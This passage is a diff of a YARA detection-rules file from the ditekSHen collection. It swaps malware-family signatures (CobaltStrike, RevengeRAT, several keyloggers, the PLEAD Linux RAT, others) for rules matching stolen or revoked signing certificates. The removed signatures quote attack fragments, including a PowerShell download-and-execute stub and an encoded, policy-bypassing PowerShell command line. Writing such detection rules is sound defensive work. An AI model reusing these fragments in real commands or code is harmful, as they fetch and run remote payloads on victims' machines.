-		$cnc3 = "&session_id=" ascii wide
-		$cnc4 = "&aid=" ascii wide
-		$cnc5 = "&secret=" ascii wide
-		$cnc6 = "&api_key" ascii wide
-		$cnc7 = "&session_key=" ascii wide
-		$cnc8 = "&type=" ascii wide
+		thumbprint = "509cbd2cd38ae03461745c7d37f6bbe44c6782cf"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and (6 of ($s*) or 4 of ($txt*) or (4 of ($s*) and 2 of ($txt*)))) or (7 of ($cnc*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LEHTEH d.o.o.," and pe.signatures[i].serial=="00:92:45:d1:51:19:23:f5:41:84:4f:aa:3c:6b:fe:bc:be")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Betabot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E161F76Da3B5E4623892C8E6Fda1Ea3D : FILE
 {
 	meta:
-		description = "BetaBot payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "377c500c-5727-5bea-ac46-cb69c868a607"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a010cf24-b29a-5613-8122-92ced507564f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1654-L1666"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3789-L3800"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e594d01874ee622169d6708ddc6cfde7f1d26d2bea1604961dc860700e8a1d5d"
+		logic_hash = "7aae91e2873633989b3716930354361ee56d7fd7af35e105ae15ed6bf87de67a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "__restart" fullword ascii
-		$s2 = "%SystemRoot%\\SysWOW64\\tapi3.dll" fullword wide
-		$s3 = "%SystemRoot%\\system32\\tapi3.dll" fullword wide
-		$s4 = "publicKeyToken=\"6595b64144ccf1df\"" ascii
-		$s5 = "VirtualProtectEx" fullword ascii
+		thumbprint = "df5fbfbfd47875b580b150603de240ead9c7ad27"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TGN Nedelica d.o.o." and pe.signatures[i].serial=="00:e1:61:f7:6d:a3:b5:e4:62:38:92:c8:e6:fd:a1:ea:3d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Wshratplugin : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_009Faf8705A3Eaef9340800Cc4Fd38597C : FILE
 {
 	meta:
-		description = "WSHRAT keylogger plugin payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "45c4fc87-6c45-5cd7-9fc4-7d3ea664a740"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5b85e806-6b13-5356-a225-23399b947114"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1668-L1685"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3802-L3813"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3feeab43b58b533b7d2d41a71f2107e6f05b9c54ff805607843d253cadbe9384"
+		logic_hash = "41c6561ef50950c7a5b4107b788e0469f77b9905b777edb24501649e4c313bd6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920010-920012"
-		clamav_sig = "MALWARE.Win.Trojan.WSHRAT-KLG"
-
-	strings:
-		$s1 = "GET /open-keylogger HTTP/1.1" fullword wide
-		$s2 = "KeyboardChange: nCode={0}, wParam={1}, vkCode={2}, scanCode={3}, flags={4}, dwExtraInfo={6}" wide
-		$s3 = "MouseChange: nCode={0}, wParam={1}, x={2}, y={3}, mouseData={4}, flags={5}, dwExtraInfo={7}" wide
-		$s4 = "sendKeyLog" fullword ascii
-		$s5 = "saveKeyLog" fullword ascii
-		$s6 = "get_TotalKeyboardClick" fullword ascii
-		$s7 = "get_SessionMouseClick" fullword ascii
-		$pdb = "\\Android\\documents\\visual studio 2010\\Projects\\Keylogger\\Keylogger\\obj\\x86\\Debug\\Keylogger.pdb" ascii
+		thumbprint = "40c572cc19e7ca4c2fb89c96357eff4c7489958e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Tekhnokod LLC" and pe.signatures[i].serial=="00:9f:af:87:05:a3:ea:ef:93:40:80:0c:c4:fd:38:59:7c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Revengerat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2888Cf0F953A4A3640Ee4Cfc6304D9D4 : FILE
 {
 	meta:
-		description = "RevengeRAT and variants payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7d725050-108c-54b5-978e-2dd2124f5b0f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "4c3153e4-d3ce-5e87-8e72-969cba972e26"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1687-L1713"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3815-L3826"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be9e50052f45b94d5995db723dd64d16a91c5ba0d3f589c018155c0cce45124f"
+		logic_hash = "5e0d1b74422ae1004b0054c161d1dc949bb368ac17575e33c9b6d550bb136126"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920000-920002"
-
-	strings:
-		$l1 = "Lime.Connection" fullword ascii
-		$l2 = "Lime.Packets" fullword ascii
-		$l3 = "Lime.Settings" fullword ascii
-		$l4 = "Lime.NativeMethods" fullword ascii
-		$s1 = "GetAV" fullword ascii
-		$s2 = "keepAlivePing!" fullword ascii wide
-		$s3 = "Revenge-RAT" fullword ascii wide
-		$s4 = "*-]NK[-*" fullword ascii wide
-		$s5 = "RV_MUTEX" fullword ascii wide
-		$s6 = "set_SendBufferSize" fullword ascii
-		$s7 = "03C7F4E8FB359AEC0EEF0814B66A704FC43FB3A8" fullword ascii
-		$s8 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii
-		$s9 = "\\RevengeRAT\\" ascii
-		$q1 = "Select * from AntiVirusProduct" fullword ascii wide
-		$q2 = "SELECT * FROM FirewallProduct" fullword ascii wide
-		$q3 = "select * from Win32_Processor" fullword ascii wide
+		thumbprint = "eb5f5ab7294ba39f2b77085f47382bd7e759ff3a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($l*) and 3 of ($s*)) or ( all of ($q*) and 3 of ($s*)) or 3 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lotte Schmidt" and pe.signatures[i].serial=="28:88:cf:0f:95:3a:4a:36:40:ee:4c:fc:63:04:d9:d4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_TRAT : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C8Edcfe8Be174C2F204D858C5B91Dea5 : FILE
 {
 	meta:
-		description = "TRAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "15f80970-6bc7-5e29-86d6-f7529a10d227"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "196da268-b9a3-562c-ad68-67d17ea94ccf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1715-L1730"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3828-L3839"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b8474c74cd9f21fcb3a8ae1c7a7a0a801f0f117782e9803cdae39daf7f0f8b2f"
+		logic_hash = "56801a71547218413ab48381c412a8e1b7fd41a9f7a7c85dc6debdc38a19d6c4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.TRAT"
-
-	strings:
-		$s1 = "^STEAM_0:[0-1]:([0-9]{1,10})$" fullword wide
-		$s2 = "^7656119([0-9]{10})$" fullword wide
-		$s3 = "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" ascii
-		$s4 = "\"schtasks\", \"/delete /tn UpdateWindows /f\");" ascii
-		$s5 = "ProcessWindowStyle.Hidden" ascii
-		$s6 = "+<>c+<<ListCommands>" ascii
-		$s7 = "//B //Nologo *Y" fullword ascii
+		thumbprint = "7f5f205094940793d1028960e0f0e8b654f9956e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Paarcopy Oy" and pe.signatures[i].serial=="00:c8:ed:cf:e8:be:17:4c:2f:20:4d:85:8c:5b:91:de:a5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Matiex : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1A311630876F694Fe1B75D972A953Bca : FILE
 {
 	meta:
-		description = "Matiex/XetimaLogger keylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "61803e0c-8f6a-5ded-855a-ff26eed1384f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2a39397f-1585-5f7f-a2a9-aab62d29a2b2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1768-L1788"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3841-L3852"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "62b45c43d99bef93a6c0e72200b869fdce331f8fa325640df7d8b72af56a3ef2"
+		logic_hash = "f14532caf49e6f46f75e42e334d3170db0ebebfe75c9f3e057c237691b5d86a2"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.MatiexKeylogger"
-
-	strings:
-		$id = "--M-A-T-I-E-X--K-E-Y-L-O-G-E-R--" ascii wide
-		$s1 = "StartKeylogger" fullword ascii
-		$s2 = "_KeyboardLoggerTimer" ascii
-		$s3 = "_ScreenshotLoggerTimer" ascii
-		$s4 = "_VoiceRecordLogger" ascii
-		$s5 = "_ClipboardLoggerTimer" ascii
-		$s6 = "get_logins" fullword ascii
-		$s7 = "get_processhackerFucked" fullword ascii
-		$s8 = "_ThePSWDSenders" fullword ascii
-		$pdb = "\\Before FprmT\\Document VB project\\FireFox Stub\\FireFox Stub\\obj\\Debug\\VNXT.pdb" ascii
+		thumbprint = "d473ec0fe212b7847f1a4ee06eff64e2a3b4001e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ($id or 4 of ($s*) or ($pdb and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GTEC s.r.o." and pe.signatures[i].serial=="1a:31:16:30:87:6f:69:4f:e1:b7:5d:97:2a:95:3b:ca")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Iamthekingkeylogger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00A496Bc774575C31Abec861B68C36Dcb6 : FILE
 {
 	meta:
-		description = "IAmTheKing Keylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f9c84241-6db2-5243-9bea-2165104cb0c3"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2415bf62-15d4-562a-a448-682474d89af0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1790-L1805"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3854-L3865"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "80d8cabfd02cd73e19e6cf1c2a8a5f06c5b3b502fe4f07289e92b448425aaa6d"
+		logic_hash = "bf5282687f4707bc16d388361ddc0af1102df0d29066ece0b57215fcf9fdcc94"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.IAmTheKingKeylogger"
-
-	strings:
-		$s1 = "[TIME:]%d/%d/%d %02d:%02d:%02d" fullword ascii
-		$s2 = "[TITLE:]" fullword ascii
-		$s3 = "%s-%02d-%02d-%02d-%02d" fullword ascii
-		$s4 = "[DATA]:" fullword ascii
-		$s5 = "[BK]" fullword ascii
-		$s6 = "Log.txt" fullword ascii
-		$s7 = "sonme hting is wrong x" fullword ascii
+		thumbprint = "b2c70d30c0b34bfeffb8a9cb343e5cad5f6bcbf7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORGLE DVORSAK, d.o.o" and pe.signatures[i].serial=="00:a4:96:bc:77:45:75:c3:1a:be:c8:61:b6:8c:36:dc:b6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Iamthekingscrcap : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ea720222D92Dc8D48E3B3C3B0Fc360A6 : FILE
 {
 	meta:
-		description = "IAmTheKing screen capture payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ba385194-9578-568c-b908-bc4fc742e52e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2e43e98a-61f8-5f93-a415-52cb6453620d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1807-L1821"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3867-L3878"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "594ddad4e08bad51f90de1c4299e28b4800b4fa686bd4176e406ba401a1242ba"
+		logic_hash = "97b2699d4cb0fd88e3440ea82dd6ea87cdac69c6ba2acd884f5aef577b55e79d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "@MyScreen.jpg" fullword wide
-		$s2 = "DISPLAY" fullword wide
-		$s3 = ".?AVCImage@ATL@@" fullword ascii
-		$s4 = ".?AVGdiplusBase@Gdiplus@@" fullword ascii
-		$s5 = ".?AVImage@Gdiplus@@" fullword ascii
-		$s6 = ".?AVBitmap@Gdiplus@@" fullword ascii
-		$s7 = ".?AVCAtlException@ATL@@" fullword ascii
+		thumbprint = "522d0f1ca87ef784994dfd63cb0919722dfdb79f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CAVANAGH NETS LIMITED" and pe.signatures[i].serial=="00:ea:72:02:22:d9:2d:c8:d4:8e:3b:3c:3b:0f:c3:60:a6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Iamthekingkingofhearts : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_333Ca7D100B139B0D9C1A97Cb458E226 : FILE
 {
 	meta:
-		description = "IAmTheKing King Of Hearts payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "95c73ec0-75b0-5d46-87da-b30feb170716"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "dd5b3eb8-81c0-570d-9ec8-6a55eb7864f9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1823-L1843"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3880-L3891"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "75b6dd0ebb90fd04f9e4a0b1fc6a1bbf417fc66daad24c8b01f0390f6155ec55"
+		logic_hash = "4519127b975d93297cca9b465ad88b3d38ad0fce0de182246dca3f000e2438be"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "write info fail!!! GetLastError-->%u" fullword ascii
-		$s2 = "LookupAccountSid Error %u" fullword ascii
-		$s3 = "CreateServiceErrorID:%d" fullword ascii
-		$s4 = "In ControlServiceErrorID:%d" fullword ascii
-		$s5 = "In QueryServiceStatus ErrorID:%d" fullword ascii
-		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
-		$s7 = "hello%s" fullword ascii
-		$s8 = "additional header failed..." fullword ascii
-		$s9 = "Set Option failed errcode: %ld" fullword ascii
-		$s10 = "add cookie failed..." fullword ascii
-		$u1 = "Mozilla/4.0 (compatible; )" fullword ascii
-		$u2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii
+		thumbprint = "d618cf7ef3a674ff1ea50800b4d965de0ff463cb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($u*) and 4 of ($s*)) or ( all of ($u*) and 3 of ($s*)) or (5 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FSE, d.o.o." and pe.signatures[i].serial=="33:3c:a7:d1:00:b1:39:b0:d9:c1:a9:7c:b4:58:e2:26")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cobaltstrike : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_58Ec8821Aa2A3755E1075F73321756F4 : FILE
 {
 	meta:
-		description = "CobaltStrike payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "140e16d0-0102-5650-a371-c95013d7f021"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "efa0e5c6-773a-5740-b7f9-ec10a92b1623"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1845-L1864"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3893-L3904"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "43513aef0ed715f0c214d7a14e465350f9c1bcadf87535e1c12561e976398bb3"
+		logic_hash = "b79f161c77cbae0bec55fb2b047983660c84d2bb93db8c91cb6c22fd4ad197cc"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%%IMPORT%%" fullword ascii
-		$s2 = "www6.%x%x.%s" fullword ascii
-		$s3 = "cdn.%x%x.%s" fullword ascii
-		$s4 = "api.%x%x.%s" fullword ascii
-		$s5 = "%s (admin)" fullword ascii
-		$s6 = "could not spawn %s: %d" fullword ascii
-		$s7 = "Could not kill %d: %d" fullword ascii
-		$s8 = "Could not connect to pipe (%s): %d" fullword ascii
-		$s9 = /%s\.\d[(%08x).]+\.%x%x\.%s/ ascii
-		$pwsh1 = "IEX (New-Object Net.Webclient).DownloadString('http" ascii
-		$pwsh2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		thumbprint = "19dd0d7f2edf32ea285577e00dd13c966844cfa4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or ( all of ($pwsh*) and 2 of ($s*)) or (#s9>6 and 4 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cbebbfeaddcbcccffdcdc" and pe.signatures[i].serial=="58:ec:88:21:aa:2a:37:55:e1:07:5f:73:32:17:56:f4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Redlinedropperahk : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0940Fa9A4080F35052B2077333769C2F : FILE
 {
 	meta:
-		description = "Detects AutoIt/AutoHotKey executables dropping RedLine infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "16eee826-f1fd-5a6f-b6f3-e02ccd889614"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2cc722de-97ff-53d1-9436-dc88c844186b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1866-L1878"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3906-L3917"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0950fe9daa02f3a8fd527f75275766111be7e8774578963b0bdb455800dfc4f9"
+		logic_hash = "3ecf6982c779a5fd867fef4b753313e379151491fa8865e8ae20f0c9362431a2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.RedLineDropper-AHK"
-
-	strings:
-		$s1 = ".SetRequestHeader(\"User-Agent\",\" ( \" OSName \" | \" bit \" | \" CPUNAme \"\"" ascii
-		$s2 = ":= \" | Windows Defender\"" ascii
-		$s3 = "WindowSpy.ahk" wide
-		$s4 = ">AUTOHOTKEY SCRIPT<" fullword wide
+		thumbprint = "da154c058cd75ff478b248701799ea8c683dd7a5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PROFF LAIN, OOO" and pe.signatures[i].serial=="09:40:fa:9a:40:80:f3:50:52:b2:07:73:33:76:9c:2f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_56Fff139Df5Ae7E788E5D72196Dd563A : FILE
 {
 	meta:
-		description = "Detects known downloader agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "85ead6fd-b56e-5e78-8fb4-7c9ecb4c0b58"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7cdca79f-5bf3-5768-b034-4d3bb177ffc9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1880-L1894"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3919-L3930"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7aec81655af9b779a314c3e2cff933aa6426fcfe21b5a87e60e159c7e7f5238a"
+		logic_hash = "022fd24ba023dba06f1c63d1d1c90d17dc82b060d634a27b237d37e37455964f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920007"
-		clamav_sig = "MALWARE.Win.Trojan.DLAgent01"
-
-	strings:
-		$s1 = "Mozilla/5.0 Gecko/41.0 Firefox/41.0" fullword wide
-		$s2 = "/Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List" fullword wide
-		$s3 = "GUID.log" fullword wide
-		$s4 = "NO AV" fullword wide
-		$s5 = "%d:%I64d:%I64d:%I64d" fullword wide
+		thumbprint = "0f69ccb73a6b98f548d00f0b740b6e42907efaad"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cifromatika LLC" and pe.signatures[i].serial=="56:ff:f1:39:df:5a:e7:e7:88:e5:d7:21:96:dd:56:3a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_PLEAD : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_03D433Fdc2469E9Fd878C80Bc0545147 : FILE
 {
 	meta:
-		description = "PLEAD Linux payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "07aa0561-d6d9-53b6-97ac-670cdf04335d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "4f793397-2768-5b34-a9f5-9100dccfa80e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1896-L1920"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3932-L3943"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "539998248ded0eb8ea1702c527804f89cfd55412f17ec699bd0af801f4fba673"
+		logic_hash = "fde125138ade8ab1a61544b90160f2c1d4bba3a09ffcf828768f98d925ab91c6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Linux.Trojan.PLEAD"
-
-	strings:
-		$x1 = "CFileTransfer" ascii
-		$x2 = "CFileManager" ascii
-		$x3 = "CPortForward" ascii
-		$x4 = "CPortForwardManager" ascii
-		$x5 = "CRemoteShell" ascii
-		$x6 = "CSockClient" ascii
-		$s1 = "/proc/self/exe" fullword ascii
-		$s2 = "/bin/sh" fullword ascii
-		$s3 = "echo -e '" ascii
-		$s4 = "%s    <DIR>    %s" ascii
-		$s5 = "%s    %lld    %s" ascii
-		$s6 = "Files: %d        Size: %lld" ascii
-		$s7 = "Dirs: %d" ascii
-		$s8 = "%s(%s)/" ascii
-		$s9 = "%s %s %s %s" ascii
+		thumbprint = "64e90267e6359060a8669aebb94911e92bd0c5f3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and ( all of ($x*) or all of ($s*) or 12 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xEC\\xA3\\xBC\\xEC\\x8B\\x9D\\xED\\x9A\\x8C\\xEC\\x82\\xAC \\xEC\\x97\\x98\\xEB\\xA6\\xAC\\xEC\\x8B\\x9C\\xEC\\x98\\xA8\\xEB\\x9E\\xA9" and pe.signatures[i].serial=="03:d4:33:fd:c2:46:9e:9f:d8:78:c8:0b:c0:54:51:47")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_CRAT : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Be3F393D1Ef0272Aed0E2319C1B5Dd0 : FILE
 {
 	meta:
-		description = "Detects CRAT main DLL"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9757a8de-61ea-55c0-b64c-055798450985"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2be05341-c7a2-58fd-9211-8d3a912a7d5c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1922-L1944"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3945-L3956"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
